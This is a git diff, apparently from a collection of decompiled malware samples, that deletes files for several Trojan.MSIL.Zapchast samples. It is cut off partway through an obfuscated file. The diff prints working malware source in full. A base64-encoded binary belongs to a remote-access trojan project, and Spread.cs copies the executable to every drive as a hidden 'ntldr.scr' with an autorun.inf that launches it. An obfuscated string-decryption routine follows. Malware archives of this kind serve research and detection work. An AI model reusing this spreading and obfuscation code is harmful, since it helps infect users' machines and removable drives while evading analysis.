eGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQB1cGRhdGVyLmV4ZQAA - ABdcAHMAZQByAHYAZQByAC4AZQB4AGUAABdcAHUAcABkAGEAdABlAC4AZQB4AGUAAB9cAHcAaQBuAGwA - bwBnAG8AbgAzADIALgBlAHgAZQAAEXUAcABkAGEAdABlAHIAeAAAD3UAcABkAGEAdABlAHIAABV3AGkA - bgBsAG8AZwBvAG4AMwAyAAAAAAARLpJO6AHdQ6ShtaXiyAavAAi3elxWGTTgiQiwP19/EdUKOgMAAAED - IAABBAABARwHBhUSCQESDQQgAQECAwYSEQIGDgYgAgEcEhUGFRIJARINBSACARwYBSABARIZAwAADgUA - Ag4ODgUAAQ4RKQMgAAgFIAETAAgDIAACBiACAQgTAAUgAgEICAQgAQEIBAABHBwEIAEBHAUgAQETABAH - CAgIEg0VEgkBEg0IAgIIBQABARIFAwcBAgUgAgEMDAUgAQEROQUgAQERSQUgAQERPQUgAQERTQQgAQEO - BCABAQ0KBwQRORE5ET0RPQQAAQEIBgABHRJRDgQAAQIOBAABAQ4FAAESUQ4FAAEBElkQBwgIElESVRJR - ElkIHRJRAgQBAAAABSABARF9CAEABwEAAAAACAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9u - VGhyb3dzAQBYMAAAAAAAAAAAAABuMAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYDAAAAAAAAAAAF9D - b3JFeGVNYWluAG1zY29yZWUuZGxsAAAAAAD/JQAgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAByJS9N - AAAAAAIAAAB5AAAAHEAAABwWAABSU0RTNTg9mn5wfUmwX2rFwLv8KQEAAABZOlwjUHJvamVrdGVcI1By - b2dyYW1tZVxWQi5ORVQtUHJvamVrdGVcbXlfc21hbFJBVFxteV9zbWFsUkFUXHVwZGF0ZXJ4XG9ialx4 - ODZcRGVidWdcdXBkYXRlci5wZGIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAMAAAAwAACADgAAAFAAAIAQAAAA - aAAAgBgAAACAAACAAAAAAAAAAAAAAAAAAAACAAIAAACYAACAAwAAALAAAIAAAAAAAAAAAAAAAAAAAAEA - AH8AAMgAAIAAAAAAAAAAAAAAAAAAAAEAAQAAAOAAAIAAAAAAAAAAAAAAAAAAAAEAAQAAAPgAAIAAAAAA - AAAAAAAAAAAAAAEAAAAAABABAAAAAAAAAAAAAAAAAAAAAAEAAAAAACABAAAAAAAAAAAAAAAAAAAAAAEA - AAAAADABAAAAAAAAAAAAAAAAAAAAAAEAAAAAAEABAAAAAAAAAAAAAAAAAAAAAAEAAAAAAFABAACoYwAA - 6AIAAAAAAAAAAAAAkGYAACgBAAAAAAAAAAAAALhnAAAiAAAAAAAAAAAAAABgYQAARAIAAAAAAAAAAAAA - 4GcAAOoBAAAAAAAAAAAAAEQCNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+ - AAABAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAQAAAABAAAAAAAAAAAAAAAAAAAARAAAAAEAVgBhAHIA - RgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAAAsASkAQAA - AQBTAHQAcgBpAG4AZwBGAGkAbABlAEkAbgBmAG8AAACAAQAAAQAwADAAMAAwADAANABiADAAAAAsAAIA - AQBGAGkAbABlAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAAAAIAAAADAACAABAEYAaQBsAGUAVgBlAHIA - cwBpAG8AbgAAAAAAMAAuADAALgAwAC4AMAAAADgADAABAEkAbgB0AGUAcgBuAGEAbABOAGEAbQBlAAAA - dQBwAGQAYQB0AGUAcgAuAGUAeABlAAAAKAACAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAA - IAAAAEAADAABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAAB1AHAAZABhAHQAZQByAC4A - ZQB4AGUAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAA - OAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADAALgAwAC4AMAAuADAAAAAAAAAA - KAAAACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAA - gACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3 - d3d3cARERERERERERERERERERHAE//////////////////RwBP/////////////////0cAT///////// - ////////9HAE//////////////////RwBP/////////////////0cAT/////////////////9HAE//// - //////////////RwBP/////////////////0cAT/////////////////9HAE//////////////////Rw - BP/////////////////0cAT/////////////////9HAE//////////////////RwBP////////////// - ///0cAT/////////////////9HAE//////////////////RwBP/////////////////0cAT///////// - ////////9HAEiIiIiIiIiIiIiIiIiIRwBEREREREREREREREREREcARMTExMTExMTExOzs5JdHAEzMzM - zMzMzMzMzMzMzMQAAERERERERERERERERERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAP/////////////////////AAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAAB - gAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAAB - gAAAAYAAAAPAAAAH////////////////KAAAABAAAAAgAAAAAQAEAAAAAADAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A - //8AAP///wAAAAAAAAAAAAd3d3d3d3d3REREREREREdP///////4R0////////hHT///////+EdP//// - ///4R0////////hHT///////+EdP///////4R0////////hHSIiIiIiIiEdMzMzMzMzMR8RERERERETA - AAAAAAAAAAAAAAAAAAAAAP//AACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAQAA//8AAP//AAAAAAEAAgAgIBAAAQAEAOgCAAACABAQEAABAAQAKAEAAAMAAAAAAAAA - 77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9InllcyI/Pg0K - PGFzc2VtYmx5IHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MSIgbWFuaWZlc3RW - ZXJzaW9uPSIxLjAiPg0KICA8YXNzZW1ibHlJZGVudGl0eSB2ZXJzaW9uPSIxLjAuMC4wIiBuYW1lPSJN - eUFwcGxpY2F0aW9uLmFwcCIvPg0KICA8dHJ1c3RJbmZvIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3Nv - ZnQtY29tOmFzbS52MiI+DQogICAgPHNlY3VyaXR5Pg0KICAgICAgPHJlcXVlc3RlZFByaXZpbGVnZXMg - eG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4NCiAgICAgICAgPHJlcXVlc3Rl - ZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSIvPg0KICAgICAg - PC9yZXF1ZXN0ZWRQcml2aWxlZ2VzPg0KICAgIDwvc2VjdXJpdHk+DQogIDwvdHJ1c3RJbmZvPg0KPC9h - c3NlbWJseT4NCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAwAAAMAAAAgDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - - - - %wert% - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Spread.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Spread.cs deleted file mode 100644 index 4cd4ea3d..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Spread.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: zub.Spread -// Assembly: zub, Version=1.0.1.5, Culture=neutral, PublicKeyToken=null -// MVID: 48A5438B-11FD-4EEE-88C7-AA931AE92F31 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.IO; -using System.Windows.Forms; -using zub.My; - -namespace zub -{ - [StandardModule] - internal sealed class Spread - { - public static void usb_sp() - { - try - { - string programFiles = MyProject.Computer.FileSystem.SpecialDirectories.ProgramFiles; - string[] logicalDrives = Directory.GetLogicalDrives(); - int index = 0; - while (index < logicalDrives.Length) - { - string str = logicalDrives[index]; - try - { - if (File.Exists(str + "\\autorun.inf")) - File.Delete(str + "\\autorun.inf"); - if (File.Exists(str + "ntldr.scr")) - File.Delete(str + "ntldr.scr"); - File.Copy(Application.ExecutablePath, str + "ntldr.scr"); - StreamWriter streamWriter = new StreamWriter(str + "\\autorun.inf"); - streamWriter.WriteLine("[autorun]"); - streamWriter.WriteLine("open=" + str + "ntldr.scr"); - streamWriter.WriteLine("shellexecute=" + str, (object) 1); - streamWriter.Close(); - File.SetAttributes(str + "autorun.inf", FileAttributes.Hidden); - File.SetAttributes(str + "ntldr.scr", FileAttributes.Hidden); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++index; } - } - int num = (int) Interaction.MsgBox((object) "TEST: Spread USB Drive!"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Trojan.MSIL.Zapchast.aaxrn.csproj b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Trojan.MSIL.Zapchast.aaxrn.csproj deleted file mode 100644 index f5e3eb03..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Trojan.MSIL.Zapchast.aaxrn.csproj +++ /dev/null @@ -1,58 +0,0 @@ - - - - - Debug - AnyCPU - {13F1A336-067D-45D8-8E85-8D03AA5C1BEE} - WinExe - zub - 1.0.1.5 - zub - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Trojan.MSIL.Zapchast.aaxrn.sln b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Trojan.MSIL.Zapchast.aaxrn.sln deleted file mode 100644 index c07106a9..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Trojan.MSIL.Zapchast.aaxrn.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "zub", "Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695.csproj", "{13F1A336-067D-45D8-8E85-8D03AA5C1BEE}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {13F1A336-067D-45D8-8E85-8D03AA5C1BEE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {13F1A336-067D-45D8-8E85-8D03AA5C1BEE}.Debug|Any CPU.Build.0 = Debug|Any CPU - {13F1A336-067D-45D8-8E85-8D03AA5C1BEE}.Release|Any CPU.ActiveCfg = Release|Any CPU - {13F1A336-067D-45D8-8E85-8D03AA5C1BEE}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/AssemblyInfo.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/AssemblyInfo.cs deleted file mode 100644 index 8ebc813a..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/AssemblyInfo.cs +++ /dev/null @@ -1,15 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[assembly: AssemblyDescription("")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyFileVersion("02.04.17.2")] -[assembly: ComVisible(false)] -[assembly: AssemblyCompany("Microsoft")] -[assembly: AssemblyProduct("jupsche")] -[assembly: SuppressIldasm] -[assembly: AssemblyTitle("jupsche")] -[assembly: AssemblyCopyright("Copyright © Sun 2011")] -[assembly: Guid("f20254be-7ba4-45f2-acd0-d6c0fb83bbbe")] -[assembly: AssemblyVersion("2.4.17.2")] diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/Trojan.MSIL.Zapchast.aelqe.csproj b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/Trojan.MSIL.Zapchast.aelqe.csproj deleted file mode 100644 index d2f8813c..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/Trojan.MSIL.Zapchast.aelqe.csproj +++ /dev/null @@ -1,55 +0,0 @@ - - - - - Debug - AnyCPU - {23F8ADBC-DD6A-47FC-9A34-2CB35929D373} - WinExe - Server - 2.4.17.2 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/Trojan.MSIL.Zapchast.aelqe.sln b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/Trojan.MSIL.Zapchast.aelqe.sln deleted file mode 100644 index d030d23d..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/Trojan.MSIL.Zapchast.aelqe.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21.csproj", "{23F8ADBC-DD6A-47FC-9A34-2CB35929D373}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {23F8ADBC-DD6A-47FC-9A34-2CB35929D373}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {23F8ADBC-DD6A-47FC-9A34-2CB35929D373}.Debug|Any CPU.Build.0 = Debug|Any CPU - {23F8ADBC-DD6A-47FC-9A34-2CB35929D373}.Release|Any CPU.ActiveCfg = Release|Any CPU - {23F8ADBC-DD6A-47FC-9A34-2CB35929D373}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/Win/My/MySettings.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/Win/My/MySettings.cs deleted file mode 100644 index 6ca019d9..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/Win/My/MySettings.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Win.My.MySettings -// Assembly: Server, Version=2.4.17.2, Culture=neutral, PublicKeyToken=null -// MVID: F2B9F067-8176-4008-9A63-9489F19DF388 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Runtime.CompilerServices; - -namespace Win.My -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [CompilerGenerated] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - - public static MySettings Default => MySettings.defaultInstance; - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/Win/Resources.resx b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/Win/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/Win/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0002.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0002.cs deleted file mode 100644 index 2b32f528..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Server, Version=2.4.17.2, Culture=neutral, PublicKeyToken=null -// MVID: F2B9F067-8176-4008-9A63-9489F19DF388 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -[GeneratedCode("MyTemplate", "8.0.0.0")] -[EditorBrowsable(EditorBrowsableState.Never)] -internal sealed class \u0002 : ConsoleApplicationBase -{ -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0002 .cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0002 .cs deleted file mode 100644 index 8f1733fd..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0002 .cs +++ /dev/null @@ -1,191 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:   -// Assembly: Server, Version=2.4.17.2, Culture=neutral, PublicKeyToken=null -// MVID: F2B9F067-8176-4008-9A63-9489F19DF388 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21.exe - -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Text; - -internal static class \u0002\u2000 -{ - private static readonly Dictionary \u0002 = new Dictionary(86); - private static BinaryReader \u0003; - private static byte[] \u0005; - private static short \u0008; - private static int \u0006; - private static byte[] \u000E; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static string \u0002(int _param0) - { - lock (\u0002\u2000.\u0002) - { - string str1; - byte[] numArray1; - for (; !\u0002\u2000.\u0002.TryGetValue(_param0, out str1); _param0 = ((int) numArray1[2] | (int) numArray1[3] << 16 | (int) numArray1[0] << 8 | (int) numArray1[1] << 24) ^ -_param0) - { - if (\u0002\u2000.\u0003 == null) - { - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - Assembly.GetCallingAssembly(); - \u0002\u2000.\u0006 = 1610370; - Stream manifestResourceStream = executingAssembly.GetManifestResourceStream("       \u200B   "); - int skipFrames = 1; - StackTrace stackTrace = new StackTrace(skipFrames, false); - \u0002\u2000.\u0006 ^= 6470 | skipFrames; - int index = skipFrames - 1; - StackFrame frame = stackTrace.GetFrame(index); - MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod(); - \u0002\u2000.\u0006 ^= index + 128; - Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType; - if (frame == null) - \u0002\u2000.\u0006 ^= 219315; - bool flag = (object) type == (object) typeof (RuntimeMethodHandle); - \u0002\u2000.\u0006 ^= 160; - if (!flag) - { - flag = (object) type == null; - if (flag) - \u0002\u2000.\u0006 ^= 219283; - } - if (flag == (stackTrace != null)) - \u0002\u2000.\u0006 ^= 32; - \u0002\u2000.\u0006 ^= 6502 | index + 1; - \u0002\u2000.\u0003 = new BinaryReader(manifestResourceStream); - short count = (short) ((int) \u0002\u2000.\u0003.ReadInt16() ^ (int) (short) (~--~-~-~~-~1901478204 ^ 1901486627)); - if (count == (short) 0) - \u0002\u2000.\u0008 = (short) ((int) \u0002\u2000.\u0003.ReadInt16() ^ (int) (short) (-~-~~--~~1367793562 ^ -1367781295)); - else - \u0002\u2000.\u0005 = \u0002\u2000.\u0003.ReadBytes((int) count); - Assembly assembly = executingAssembly; - AssemblyName assemblyName; - try - { - assemblyName = assembly.GetName(); - } - catch - { - assemblyName = new AssemblyName(assembly.FullName); - } - \u0002\u2000.\u000E = assemblyName.GetPublicKeyToken(); - if (\u0002\u2000.\u000E != null && \u0002\u2000.\u000E.Length == 0) - \u0002\u2000.\u000E = (byte[]) null; - \u0002\u2000.\u0006 = \u0002\u2000.\u0006 & 268435314 ^ 6788; - } - int num1 = _param0 ^ -543725215; - \u0002\u2000.\u0003.BaseStream.Position = (long) num1; - byte[] numArray2; - if (\u0002\u2000.\u0005 != null) - { - numArray2 = \u0002\u2000.\u0005; - } - else - { - short count = \u0002\u2000.\u0008 != (short) -1 ? \u0002\u2000.\u0008 : (short) ((int) \u0002\u2000.\u0003.ReadInt16() ^ -14050 ^ num1); - numArray2 = count != (short) 0 ? \u0002\u2000.\u0003.ReadBytes((int) count) : (byte[]) null; - } - int num2 = \u0002\u2000.\u0003.ReadInt32() ^ num1 ^ -~~--~-~-~~-1114577187; - if (num2 == -2) - { - numArray1 = \u0002\u2000.\u0003.ReadBytes(4); - _param0 = 1114577189; - } - else - { - bool flag1 = (num2 & int.MinValue) != 0; - bool flag2 = (num2 & 1073741824) != 0; - int count = num2 & 1073741823; - byte[] numArray3 = \u0003\u2000.\u0002(numArray2, \u0002\u2000.\u0003.ReadBytes(count)); - if (\u0002\u2000.\u000E != null != (\u0002\u2000.\u0006 != 1607814)) - { - for (int index = 0; index < count; ++index) - { - byte num3 = \u0002\u2000.\u000E[index & 7]; - byte num4 = (byte) ((int) num3 << 3 | (int) num3 >> 